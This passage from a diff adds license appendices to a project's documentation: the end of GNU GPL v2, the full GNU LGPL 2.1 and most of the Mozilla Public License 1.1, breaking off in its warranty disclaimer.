+the limitation as if written in the body of this License.
+
+  9. The Free Software Foundation may publish revised and/or new versions
+of the General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+Each version is given a distinguishing version number.  If the Program
+specifies a version number of this License which applies to it and "any
+later version", you have the option of following the terms and conditions
+either of that version or of any later version published by the Free
+Software Foundation.  If the Program does not specify a version number of
+this License, you may choose any version ever published by the Free Software
+Foundation.
+
+  10. If you wish to incorporate parts of the Program into other free
+programs whose distribution conditions are different, write to the author
+to ask for permission.  For software which is copyrighted by the Free
+Software Foundation, write to the Free Software Foundation; we sometimes
+make exceptions for this.  Our decision will be guided by the two goals
+of preserving the free status of all derivatives of our free software and
+of promoting the sharing and reuse of software generally.
+
+                           NO WARRANTY
+
+  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
+REPAIR OR CORRECTION.
+
+  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+
+                    END OF TERMS AND CONDITIONS
+
+
+Appendix B: The LGPL License
+============================
+
+                 GNU LESSER GENERAL PUBLIC LICENSE
+                      Version 2.1, February 1999
+
+ Copyright (C) 1991, 1999 Free Software Foundation, Inc.
+     59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+[This is the first released version of the Lesser GPL.  It also counts
+ as the successor of the GNU Library Public License, version 2, hence
+ the version number 2.1.]
+
+                           Preamble
+
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+Licenses are intended to guarantee your freedom to share and change
+free software--to make sure the software is free for all its users.
+
+  This license, the Lesser General Public License, applies to some
+specially designated software packages--typically libraries--of the
+Free Software Foundation and other authors who decide to use it.  You
+can use it too, but we suggest you first think carefully about whether
+this license or the ordinary General Public License is the better
+strategy to use in any particular case, based on the explanations below.
+
+  When we speak of free software, we are referring to freedom of use,
+not price.  Our General Public Licenses are designed to make sure that
+you have the freedom to distribute copies of free software (and charge
+for this service if you wish); that you receive source code or can get
+it if you want it; that you can change the software and use pieces of
+it in new free programs; and that you are informed that you can do
+these things.
+
+  To protect your rights, we need to make restrictions that forbid
+distributors to deny you these rights or to ask you to surrender these
+rights.  These restrictions translate to certain responsibilities for
+you if you distribute copies of the library or if you modify it.
+
+  For example, if you distribute copies of the library, whether gratis
+or for a fee, you must give the recipients all the rights that we gave
+you.  You must make sure that they, too, receive or can get the source
+code.  If you link other code with the library, you must provide
+complete object files to the recipients, so that they can relink them
+with the library after making changes to the library and recompiling
+it.  And you must show them these terms so they know their rights.
+
+  We protect your rights with a two-step method: (1) we copyright the
+library, and (2) we offer you this license, which gives you legal
+permission to copy, distribute and/or modify the library.
+
+  To protect each distributor, we want to make it very clear that
+there is no warranty for the free library.  Also, if the library is
+modified by someone else and passed on, the recipients should know
+that what they have is not the original version, so that the original
+author's reputation will not be affected by problems that might be
+introduced by others.
+
+  Finally, software patents pose a constant threat to the existence of
+any free program.  We wish to make sure that a company cannot
+effectively restrict the users of a free program by obtaining a
+restrictive license from a patent holder.  Therefore, we insist that
+any patent license obtained for a version of the library must be
+consistent with the full freedom of use specified in this license.
+
+  Most GNU software, including some libraries, is covered by the
+ordinary GNU General Public License.  This license, the GNU Lesser
+General Public License, applies to certain designated libraries, and
+is quite different from the ordinary General Public License.  We use
+this license for certain libraries in order to permit linking those
+libraries into non-free programs.
+
+  When a program is linked with a library, whether statically or using
+a shared library, the combination of the two is legally speaking a
+combined work, a derivative of the original library.  The ordinary
+General Public License therefore permits such linking only if the
+entire combination fits its criteria of freedom.  The Lesser General
+Public License permits more lax criteria for linking other code with
+the library.
+
+  We call this license the "Lesser" General Public License because it
+does Less to protect the user's freedom than the ordinary General
+Public License.  It also provides other free software developers Less
+of an advantage over competing non-free programs.  These disadvantages
+are the reason we use the ordinary General Public License for many
+libraries.  However, the Lesser license provides advantages in certain
+special circumstances.
+
+  For example, on rare occasions, there may be a special need to
+encourage the widest possible use of a certain library, so that it becomes
+a de-facto standard.  To achieve this, non-free programs must be
+allowed to use the library.  A more frequent case is that a free
+library does the same job as widely used non-free libraries.  In this
+case, there is little to gain by limiting the free library to free
+software only, so we use the Lesser General Public License.
+
+  In other cases, permission to use a particular library in non-free
+programs enables a greater number of people to use a large body of
+free software.  For example, permission to use the GNU C Library in
+non-free programs enables many more people to use the whole GNU
+operating system, as well as its variant, the GNU/Linux operating
+system.
+
+  Although the Lesser General Public License is Less protective of the
+users' freedom, it does ensure that the user of a program that is
+linked with the Library has the freedom and the wherewithal to run
+that program using a modified version of the Library.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.  Pay close attention to the difference between a
+"work based on the library" and a "work that uses the library".  The
+former contains code derived from the library, whereas the latter must
+be combined with the library in order to run.
+
+                 GNU LESSER GENERAL PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+  0. This License Agreement applies to any software library or other
+program which contains a notice placed by the copyright holder or
+other authorized party saying it may be distributed under the terms of
+this Lesser General Public License (also called "this License").
+Each licensee is addressed as "you".
+
+  A "library" means a collection of software functions and/or data
+prepared so as to be conveniently linked with application programs
+(which use some of those functions and data) to form executables.
+
+  The "Library", below, refers to any such software library or work
+which has been distributed under these terms.  A "work based on the
+Library" means either the Library or any derivative work under
+copyright law: that is to say, a work containing the Library or a
+portion of it, either verbatim or with modifications and/or translated
+straightforwardly into another language.  (Hereinafter, translation is
+included without limitation in the term "modification".)
+
+  "Source code" for a work means the preferred form of the work for
+making modifications to it.  For a library, complete source code means
+all the source code for all modules it contains, plus any associated
+interface definition files, plus the scripts used to control compilation
+and installation of the library.
+
+  Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope.  The act of
+running a program using the Library is not restricted, and output from
+such a program is covered only if its contents constitute a work based
+on the Library (independent of the use of the Library in a tool for
+writing it).  Whether that is true depends on what the Library does
+and what the program that uses the Library does.
+
+  1. You may copy and distribute verbatim copies of the Library's
+complete source code as you receive it, in any medium, provided that
+you conspicuously and appropriately publish on each copy an
+appropriate copyright notice and disclaimer of warranty; keep intact
+all the notices that refer to this License and to the absence of any
+warranty; and distribute a copy of this License along with the
+Library.
+
+  You may charge a fee for the physical act of transferring a copy,
+and you may at your option offer warranty protection in exchange for a
+fee.
+
+  2. You may modify your copy or copies of the Library or any portion
+of it, thus forming a work based on the Library, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+    a) The modified work must itself be a software library.
+
+    b) You must cause the files modified to carry prominent notices
+    stating that you changed the files and the date of any change.
+
+    c) You must cause the whole of the work to be licensed at no
+    charge to all third parties under the terms of this License.
+
+    d) If a facility in the modified Library refers to a function or a
+    table of data to be supplied by an application program that uses
+    the facility, other than as an argument passed when the facility
+    is invoked, then you must make a good faith effort to ensure that,
+    in the event an application does not supply such function or
+    table, the facility still operates, and performs whatever part of
+    its purpose remains meaningful.
+
+    (For example, a function in a library to compute square roots has
+    a purpose that is entirely well-defined independent of the
+    application.  Therefore, Subsection 2d requires that any
+    application-supplied function or table used by this function must
+    be optional: if the application does not supply it, the square
+    root function must still compute square roots.)
+
+These requirements apply to the modified work as a whole.  If
+identifiable sections of that work are not derived from the Library,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works.  But when you
+distribute the same sections as part of a whole which is a work based
+on the Library, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote
+it.
+
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Library.
+
+In addition, mere aggregation of another work not based on the Library
+with the Library (or with a work based on the Library) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+  3. You may opt to apply the terms of the ordinary GNU General Public
+License instead of this License to a given copy of the Library.  To do
+this, you must alter all the notices that refer to this License, so
+that they refer to the ordinary GNU General Public License, version 2,
+instead of to this License.  (If a newer version than version 2 of the
+ordinary GNU General Public License has appeared, then you can specify
+that version instead if you wish.)  Do not make any other change in
+these notices.
+
+  Once this change is made in a given copy, it is irreversible for
+that copy, so the ordinary GNU General Public License applies to all
+subsequent copies and derivative works made from that copy.
+
+  This option is useful when you wish to copy part of the code of
+the Library into a program that is not a library.
+
+  4. You may copy and distribute the Library (or a portion or
+derivative of it, under Section 2) in object code or executable form
+under the terms of Sections 1 and 2 above provided that you accompany
+it with the complete corresponding machine-readable source code, which
+must be distributed under the terms of Sections 1 and 2 above on a
+medium customarily used for software interchange.
+
+  If distribution of object code is made by offering access to copy
+from a designated place, then offering equivalent access to copy the
+source code from the same place satisfies the requirement to
+distribute the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+  5. A program that contains no derivative of any portion of the
+Library, but is designed to work with the Library by being compiled or
+linked with it, is called a "work that uses the Library".  Such a
+work, in isolation, is not a derivative work of the Library, and
+therefore falls outside the scope of this License.
+
+  However, linking a "work that uses the Library" with the Library
+creates an executable that is a derivative of the Library (because it
+contains portions of the Library), rather than a "work that uses the
+library".  The executable is therefore covered by this License.
+Section 6 states terms for distribution of such executables.
+
+  When a "work that uses the Library" uses material from a header file
+that is part of the Library, the object code for the work may be a
+derivative work of the Library even though the source code is not.
+Whether this is true is especially significant if the work can be
+linked without the Library, or if the work is itself a library.  The
+threshold for this to be true is not precisely defined by law.
+
+  If such an object file uses only numerical parameters, data
+structure layouts and accessors, and small macros and small inline
+functions (ten lines or less in length), then the use of the object
+file is unrestricted, regardless of whether it is legally a derivative
+work.  (Executables containing this object code plus portions of the
+Library will still fall under Section 6.)
+
+  Otherwise, if the work is a derivative of the Library, you may
+distribute the object code for the work under the terms of Section 6.
+Any executables containing that work also fall under Section 6,
+whether or not they are linked directly with the Library itself.
+
+  6. As an exception to the Sections above, you may also combine or
+link a "work that uses the Library" with the Library to produce a
+work containing portions of the Library, and distribute that work
+under terms of your choice, provided that the terms permit
+modification of the work for the customer's own use and reverse
+engineering for debugging such modifications.
+
+  You must give prominent notice with each copy of the work that the
+Library is used in it and that the Library and its use are covered by
+this License.  You must supply a copy of this License.  If the work
+during execution displays copyright notices, you must include the
+copyright notice for the Library among them, as well as a reference
+directing the user to the copy of this License.  Also, you must do one
+of these things:
+
+    a) Accompany the work with the complete corresponding
+    machine-readable source code for the Library including whatever
+    changes were used in the work (which must be distributed under
+    Sections 1 and 2 above); and, if the work is an executable linked
+    with the Library, with the complete machine-readable "work that
+    uses the Library", as object code and/or source code, so that the
+    user can modify the Library and then relink to produce a modified
+    executable containing the modified Library.  (It is understood
+    that the user who changes the contents of definitions files in the
+    Library will not necessarily be able to recompile the application
+    to use the modified definitions.)
+
+    b) Use a suitable shared library mechanism for linking with the
+    Library.  A suitable mechanism is one that (1) uses at run time a
+    copy of the library already present on the user's computer system,
+    rather than copying library functions into the executable, and (2)
+    will operate properly with a modified version of the library, if
+    the user installs one, as long as the modified version is
+    interface-compatible with the version that the work was made with.
+
+    c) Accompany the work with a written offer, valid for at
+    least three years, to give the same user the materials
+    specified in Subsection 6a, above, for a charge no more
+    than the cost of performing this distribution.
+
+    d) If distribution of the work is made by offering access to copy
+    from a designated place, offer equivalent access to copy the above
+    specified materials from the same place.
+
+    e) Verify that the user has already received a copy of these
+    materials or that you have already sent this user a copy.
+
+  For an executable, the required form of the "work that uses the
+Library" must include any data and utility programs needed for
+reproducing the executable from it.  However, as a special exception,
+the materials to be distributed need not include anything that is
+normally distributed (in either source or binary form) with the major
+components (compiler, kernel, and so on) of the operating system on
+which the executable runs, unless that component itself accompanies
+the executable.
+
+  It may happen that this requirement contradicts the license
+restrictions of other proprietary libraries that do not normally
+accompany the operating system.  Such a contradiction means you cannot
+use both them and the Library together in an executable that you
+distribute.
+
+  7. You may place library facilities that are a work based on the
+Library side-by-side in a single library together with other library
+facilities not covered by this License, and distribute such a combined
+library, provided that the separate distribution of the work based on
+the Library and of the other library facilities is otherwise
+permitted, and provided that you do these two things:
+
+    a) Accompany the combined library with a copy of the same work
+    based on the Library, uncombined with any other library
+    facilities.  This must be distributed under the terms of the
+    Sections above.
+
+    b) Give prominent notice with the combined library of the fact
+    that part of it is a work based on the Library, and explaining
+    where to find the accompanying uncombined form of the same work.
+
+  8. You may not copy, modify, sublicense, link with, or distribute
+the Library except as expressly provided under this License.  Any
+attempt otherwise to copy, modify, sublicense, link with, or
+distribute the Library is void, and will automatically terminate your
+rights under this License.  However, parties who have received copies,
+or rights, from you under this License will not have their licenses
+terminated so long as such parties remain in full compliance.
+
+  9. You are not required to accept this License, since you have not
+signed it.  However, nothing else grants you permission to modify or
+distribute the Library or its derivative works.  These actions are
+prohibited by law if you do not accept this License.  Therefore, by
+modifying or distributing the Library (or any work based on the
+Library), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Library or works based on it.
+
+  10. Each time you redistribute the Library (or any work based on the
+Library), the recipient automatically receives a license from the
+original licensor to copy, distribute, link with or modify the Library
+subject to these terms and conditions.  You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties with
+this License.
+
+  11. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Library at all.  For example, if a patent
+license would not permit royalty-free redistribution of the Library by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Library.
+
+If any portion of this section is held invalid or unenforceable under any
+particular circumstance, the balance of the section is intended to apply,
+and the section as a whole is intended to apply in other circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system which is
+implemented by public license practices.  Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+  12. If the distribution and/or use of the Library is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Library under this License may add
+an explicit geographical distribution limitation excluding those countries,
+so that distribution is permitted only in or among countries not thus
+excluded.  In such case, this License incorporates the limitation as if
+written in the body of this License.
+
+  13. The Free Software Foundation may publish revised and/or new
+versions of the Lesser General Public License from time to time.
+Such new versions will be similar in spirit to the present version,
+but may differ in detail to address new problems or concerns.
+
+Each version is given a distinguishing version number.  If the Library
+specifies a version number of this License which applies to it and
+"any later version", you have the option of following the terms and
+conditions either of that version or of any later version published by
+the Free Software Foundation.  If the Library does not specify a
+license version number, you may choose any version ever published by
+the Free Software Foundation.
+
+  14. If you wish to incorporate parts of the Library into other free
+programs whose distribution conditions are incompatible with these,
+write to the author to ask for permission.  For software which is
+copyrighted by the Free Software Foundation, write to the Free
+Software Foundation; we sometimes make exceptions for this.  Our
+decision will be guided by the two goals of preserving the free status
+of all derivatives of our free software and of promoting the sharing
+and reuse of software generally.
+
+                           NO WARRANTY
+
+  15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
+WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
+EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
+OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
+KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
+LIBRARY IS WITH YOU.  SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
+THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+  16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
+WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
+AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
+FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
+CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
+LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
+RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
+FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
+SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
+DAMAGES.
+
+                    END OF TERMS AND CONDITIONS
+
+
+Appendix C: The MPL License
+===========================
+
+                          MOZILLA PUBLIC LICENSE
+                                Version 1.1
+
+                              ---------------
+
+1. Definitions.
+
+     1.0.1. "Commercial Use" means distribution or otherwise making the
+     Covered Code available to a third party.
+
+     1.1. "Contributor" means each entity that creates or contributes to
+     the creation of Modifications.
+
+     1.2. "Contributor Version" means the combination of the Original
+     Code, prior Modifications used by a Contributor, and the Modifications
+     made by that particular Contributor.
+
+     1.3. "Covered Code" means the Original Code or Modifications or the
+     combination of the Original Code and Modifications, in each case
+     including portions thereof.
+
+     1.4. "Electronic Distribution Mechanism" means a mechanism generally
+     accepted in the software development community for the electronic
+     transfer of data.
+
+     1.5. "Executable" means Covered Code in any form other than Source
+     Code.
+
+     1.6. "Initial Developer" means the individual or entity identified
+     as the Initial Developer in the Source Code notice required by Exhibit
+     A.
+
+     1.7. "Larger Work" means a work which combines Covered Code or
+     portions thereof with code not governed by the terms of this License.
+
+     1.8. "License" means this document.
+
+     1.8.1. "Licensable" means having the right to grant, to the maximum
+     extent possible, whether at the time of the initial grant or
+     subsequently acquired, any and all of the rights conveyed herein.
+
+     1.9. "Modifications" means any addition to or deletion from the
+     substance or structure of either the Original Code or any previous
+     Modifications. When Covered Code is released as a series of files, a
+     Modification is:
+          A. Any addition to or deletion from the contents of a file
+          containing Original Code or previous Modifications.
+
+          B. Any new file that contains any part of the Original Code or
+          previous Modifications.
+
+     1.10. "Original Code" means Source Code of computer software code
+     which is described in the Source Code notice required by Exhibit A as
+     Original Code, and which, at the time of its release under this
+     License is not already Covered Code governed by this License.
+
+     1.10.1. "Patent Claims" means any patent claim(s), now owned or
+     hereafter acquired, including without limitation,  method, process,
+     and apparatus claims, in any patent Licensable by grantor.
+
+     1.11. "Source Code" means the preferred form of the Covered Code for
+     making modifications to it, including all modules it contains, plus
+     any associated interface definition files, scripts used to control
+     compilation and installation of an Executable, or source code
+     differential comparisons against either the Original Code or another
+     well known, available Covered Code of the Contributor's choice. The
+     Source Code can be in a compressed or archival form, provided the
+     appropriate decompression or de-archiving software is widely available
+     for no charge.
+
+     1.12. "You" (or "Your")  means an individual or a legal entity
+     exercising rights under, and complying with all of the terms of, this
+     License or a future version of this License issued under Section 6.1.
+     For legal entities, "You" includes any entity which controls, is
+     controlled by, or is under common control with You. For purposes of
+     this definition, "control" means (a) the power, direct or indirect,
+     to cause the direction or management of such entity, whether by
+     contract or otherwise, or (b) ownership of more than fifty percent
+     (50%) of the outstanding shares or beneficial ownership of such
+     entity.
+
+2. Source Code License.
+
+     2.1. The Initial Developer Grant.
+     The Initial Developer hereby grants You a world-wide, royalty-free,
+     non-exclusive license, subject to third party intellectual property
+     claims:
+          (a)  under intellectual property rights (other than patent or
+          trademark) Licensable by Initial Developer to use, reproduce,
+          modify, display, perform, sublicense and distribute the Original
+          Code (or portions thereof) with or without Modifications, and/or
+          as part of a Larger Work; and
+
+          (b) under Patents Claims infringed by the making, using or
+          selling of Original Code, to make, have made, use, practice,
+          sell, and offer for sale, and/or otherwise dispose of the
+          Original Code (or portions thereof).
+
+          (c) the licenses granted in this Section 2.1(a) and (b) are
+          effective on the date Initial Developer first distributes
+          Original Code under the terms of this License.
+
+          (d) Notwithstanding Section 2.1(b) above, no patent license is
+          granted: 1) for code that You delete from the Original Code; 2)
+          separate from the Original Code;  or 3) for infringements caused
+          by: i) the modification of the Original Code or ii) the
+          combination of the Original Code with other software or devices.
+
+     2.2. Contributor Grant.
+     Subject to third party intellectual property claims, each Contributor
+     hereby grants You a world-wide, royalty-free, non-exclusive license
+
+          (a)  under intellectual property rights (other than patent or
+          trademark) Licensable by Contributor, to use, reproduce, modify,
+          display, perform, sublicense and distribute the Modifications
+          created by such Contributor (or portions thereof) either on an
+          unmodified basis, with other Modifications, as Covered Code
+          and/or as part of a Larger Work; and
+
+          (b) under Patent Claims infringed by the making, using, or
+          selling of  Modifications made by that Contributor either alone
+          and/or in combination with its Contributor Version (or portions
+          of such combination), to make, use, sell, offer for sale, have
+          made, and/or otherwise dispose of: 1) Modifications made by that
+          Contributor (or portions thereof); and 2) the combination of
+          Modifications made by that Contributor with its Contributor
+          Version (or portions of such combination).
+
+          (c) the licenses granted in Sections 2.2(a) and 2.2(b) are
+          effective on the date Contributor first makes Commercial Use of
+          the Covered Code.
+
+          (d)    Notwithstanding Section 2.2(b) above, no patent license is
+          granted: 1) for any code that Contributor has deleted from the
+          Contributor Version; 2)  separate from the Contributor Version;
+          3)  for infringements caused by: i) third party modifications of
+          Contributor Version or ii)  the combination of Modifications made
+          by that Contributor with other software  (except as part of the
+          Contributor Version) or other devices; or 4) under Patent Claims
+          infringed by Covered Code in the absence of Modifications made by
+          that Contributor.
+
+3. Distribution Obligations.
+
+     3.1. Application of License.
+     The Modifications which You create or to which You contribute are
+     governed by the terms of this License, including without limitation
+     Section 2.2. The Source Code version of Covered Code may be
+     distributed only under the terms of this License or a future version
+     of this License released under Section 6.1, and You must include a
+     copy of this License with every copy of the Source Code You
+     distribute. You may not offer or impose any terms on any Source Code
+     version that alters or restricts the applicable version of this
+     License or the recipients' rights hereunder. However, You may include
+     an additional document offering the additional rights described in
+     Section 3.5.
+
+     3.2. Availability of Source Code.
+     Any Modification which You create or to which You contribute must be
+     made available in Source Code form under the terms of this License
+     either on the same media as an Executable version or via an accepted
+     Electronic Distribution Mechanism to anyone to whom you made an
+     Executable version available; and if made available via Electronic
+     Distribution Mechanism, must remain available for at least twelve (12)
+     months after the date it initially became available, or at least six
+     (6) months after a subsequent version of that particular Modification
+     has been made available to such recipients. You are responsible for
+     ensuring that the Source Code version remains available even if the
+     Electronic Distribution Mechanism is maintained by a third party.
+
+     3.3. Description of Modifications.
+     You must cause all Covered Code to which You contribute to contain a
+     file documenting the changes You made to create that Covered Code and
+     the date of any change. You must include a prominent statement that
+     the Modification is derived, directly or indirectly, from Original
+     Code provided by the Initial Developer and including the name of the
+     Initial Developer in (a) the Source Code, and (b) in any notice in an
+     Executable version or related documentation in which You describe the
+     origin or ownership of the Covered Code.
+
+     3.4. Intellectual Property Matters
+          (a) Third Party Claims.
+          If Contributor has knowledge that a license under a third party's
+          intellectual property rights is required to exercise the rights
+          granted by such Contributor under Sections 2.1 or 2.2,
+          Contributor must include a text file with the Source Code
+          distribution titled "LEGAL" which describes the claim and the
+          party making the claim in sufficient detail that a recipient will
+          know whom to contact. If Contributor obtains such knowledge after
+          the Modification is made available as described in Section 3.2,
+          Contributor shall promptly modify the LEGAL file in all copies
+          Contributor makes available thereafter and shall take other steps
+          (such as notifying appropriate mailing lists or newsgroups)
+          reasonably calculated to inform those who received the Covered
+          Code that new knowledge has been obtained.
+
+          (b) Contributor APIs.
+          If Contributor's Modifications include an application programming
+          interface and Contributor has knowledge of patent licenses which
+          are reasonably necessary to implement that API, Contributor must
+          also include this information in the LEGAL file.
+
+               (c)    Representations.
+          Contributor represents that, except as disclosed pursuant to
+          Section 3.4(a) above, Contributor believes that Contributor's
+          Modifications are Contributor's original creation(s) and/or
+          Contributor has sufficient rights to grant the rights conveyed by
+          this License.
+
+     3.5. Required Notices.
+     You must duplicate the notice in Exhibit A in each file of the Source
+     Code.  If it is not possible to put such notice in a particular Source
+     Code file due to its structure, then You must include such notice in a
+     location (such as a relevant directory) where a user would be likely
+     to look for such a notice.  If You created one or more Modification(s)
+     You may add your name as a Contributor to the notice described in
+     Exhibit A.  You must also duplicate this License in any documentation
+     for the Source Code where You describe recipients' rights or ownership
+     rights relating to Covered Code.  You may choose to offer, and to
+     charge a fee for, warranty, support, indemnity or liability
+     obligations to one or more recipients of Covered Code. However, You
+     may do so only on Your own behalf, and not on behalf of the Initial
+     Developer or any Contributor. You must make it absolutely clear than
+     any such warranty, support, indemnity or liability obligation is
+     offered by You alone, and You hereby agree to indemnify the Initial
+     Developer and every Contributor for any liability incurred by the
+     Initial Developer or such Contributor as a result of warranty,
+     support, indemnity or liability terms You offer.
+
+     3.6. Distribution of Executable Versions.
+     You may distribute Covered Code in Executable form only if the
+     requirements of Section 3.1-3.5 have been met for that Covered Code,
+     and if You include a notice stating that the Source Code version of
+     the Covered Code is available under the terms of this License,
+     including a description of how and where You have fulfilled the
+     obligations of Section 3.2. The notice must be conspicuously included
+     in any notice in an Executable version, related documentation or
+     collateral in which You describe recipients' rights relating to the
+     Covered Code. You may distribute the Executable version of Covered
+     Code or ownership rights under a license of Your choice, which may
+     contain terms different from this License, provided that You are in
+     compliance with the terms of this License and that the license for the
+     Executable version does not attempt to limit or alter the recipient's
+     rights in the Source Code version from the rights set forth in this
+     License. If You distribute the Executable version under a different
+     license You must make it absolutely clear that any terms which differ
+     from this License are offered by You alone, not by the Initial
+     Developer or any Contributor. You hereby agree to indemnify the
+     Initial Developer and every Contributor for any liability incurred by
+     the Initial Developer or such Contributor as a result of any such
+     terms You offer.
+
+     3.7. Larger Works.
+     You may create a Larger Work by combining Covered Code with other code
+     not governed by the terms of this License and distribute the Larger
+     Work as a single product. In such a case, You must make sure the
+     requirements of this License are fulfilled for the Covered Code.
+
+4. Inability to Comply Due to Statute or Regulation.
+
+     If it is impossible for You to comply with any of the terms of this
+     License with respect to some or all of the Covered Code due to
+     statute, judicial order, or regulation then You must: (a) comply with
+     the terms of this License to the maximum extent possible; and (b)
+     describe the limitations and the code they affect. Such description
+     must be included in the LEGAL file described in Section 3.4 and must
+     be included with all distributions of the Source Code. Except to the
+     extent prohibited by statute or regulation, such description must be
+     sufficiently detailed for a recipient of ordinary skill to be able to
+     understand it.
+
+5. Application of this License.
+
+     This License applies to code to which the Initial Developer has
+     attached the notice in Exhibit A and to related Covered Code.
+
+6. Versions of the License.
+
+     6.1. New Versions.
+     Netscape Communications Corporation ("Netscape") may publish revised
+     and/or new versions of the License from time to time. Each version
+     will be given a distinguishing version number.
+
+     6.2. Effect of New Versions.
+     Once Covered Code has been published under a particular version of the
+     License, You may always continue to use it under the terms of that
+     version. You may also choose to use such Covered Code under the terms
+     of any subsequent version of the License published by Netscape. No one
+     other than Netscape has the right to modify the terms applicable to
+     Covered Code created under this License.
+
+     6.3. Derivative Works.
+     If You create or use a modified version of this License (which you may
+     only do in order to apply it to code which is not already Covered Code
+     governed by this License), You must (a) rename Your license so that
+     the phrases "Mozilla", "MOZILLAPL", "MOZPL", "Netscape",
+     "MPL", "NPL" or any confusingly similar phrase do not appear in your
+     license (except to note that your license differs from this License)
+     and (b) otherwise make it clear that Your version of the license
+     contains terms which differ from the Mozilla Public License and
+     Netscape Public License. (Filling in the name of the Initial
+     Developer, Original Code or Contributor in the notice described in
+     Exhibit A shall not of themselves be deemed to be modifications of
+     this License.)
+
+7. DISCLAIMER OF WARRANTY.
+
+     COVERED CODE IS PROVIDED UNDER THIS LICENSE ON AN "AS IS" BASIS,
+     WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,
+     WITHOUT LIMITATION, WARRANTIES THAT THE COVERED CODE IS FREE OF
+     DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING.
+     THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE COVERED CODE
